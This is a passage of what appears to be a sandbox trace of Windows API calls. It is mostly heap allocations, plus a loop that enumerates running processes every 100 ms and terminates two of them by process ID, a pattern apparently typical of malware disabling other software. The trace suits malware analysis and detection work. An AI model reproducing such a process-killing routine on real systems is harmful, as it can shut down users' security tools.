Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d7c80 [0085.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7c80) returned 1 [0085.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82a240 [0085.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.374] NtOpenProcess (in: ProcessHandle=0x1cd5fde8, DesiredAccess=0x1, ObjectAttributes=0x1cd5fd90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1cd5fd80*(UniqueProcess=0x82c, UniqueThread=0x0) | out: ProcessHandle=0x1cd5fde8*=0x434) returned 0x0 [0085.374] NtTerminateProcess (ProcessHandle=0x434, ExitStatus=0x0) returned 0x0 [0085.374] NtClose (Handle=0x434) returned 0x0 [0085.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82a240 [0085.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a240 [0085.375] NtOpenProcess (in: ProcessHandle=0x1cd5fde8, DesiredAccess=0x1, ObjectAttributes=0x1cd5fd90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1cd5fd80*(UniqueProcess=0x87c, UniqueThread=0x0) | out: ProcessHandle=0x1cd5fde8*=0x434) returned 0x0 [0085.375] NtTerminateProcess (ProcessHandle=0x434, ExitStatus=0x0) returned 0x0 [0085.375] NtClose (Handle=0x434) returned 0x0 [0085.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a240 [0085.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a240 [0085.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a240 [0085.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d7c80 [0085.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7c80) returned 1 [0085.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a240 [0085.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0085.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a240 [0085.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a240 [0085.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0085.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a240 [0085.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a240 [0085.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a240 [0085.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0085.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a240 [0085.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a240) returned 1 [0085.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60080) returned 1 [0085.379] Sleep (dwMilliseconds=0x64) [0085.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1b837480 [0085.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b837480, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1b837480, ResultLength=0x0) returned 0xc0000004 [0085.500] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b837480, Size=0x2048) returned 0x1b857450 [0085.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.500] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x306c) returned 0x1b857450 [0085.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.501] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x4090) returned 0x1b857450 [0085.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.501] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x50b4) returned 0x1b857450 [0085.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.501] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x60d8) returned 0x1b857450 [0085.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.501] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x70fc) returned 0x1b857450 [0085.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.502] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x8120) returned 0x1b857450 [0085.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.502] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x9144) returned 0x1b857450 [0085.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.502] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xa168) returned 0x1b857450 [0085.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.502] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xb18c) returned 0x1b857450 [0085.502] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.503] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xc1b0) returned 0x1b857450 [0085.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.503] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xd1d4) returned 0x1b857450 [0085.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.503] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xe1f8) returned 0x1b857450 [0085.503] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.504] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0xf21c) returned 0x1b857450 [0085.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.504] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x10240) returned 0x1b857450 [0085.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.504] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x11264) returned 0x1b857450 [0085.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0xc0000004 [0085.504] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b857450, Size=0x12288) returned 0x1b857450 [0085.504] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b857450, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1b857450, ResultLength=0x0) returned 0x0 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b824450 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b824450) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a300 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a300 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a300 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a300 [0085.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a300 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a300 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a300 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a300 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a300 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a300 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a300 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a300 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d7e40 [0085.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7e40) returned 1 [0085.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x17a750 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a300 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7e40 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7e40) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x17a750 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d7e40 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7e40) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a300 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a300 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a300 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a300 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82a300 [0085.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a300 [0085.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0085.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0104.956] Sleep (dwMilliseconds=0x64) [0106.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1cd660d0 [0106.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cd660d0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1cd660d0, ResultLength=0x0) returned 0xc0000004 [0106.851] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, 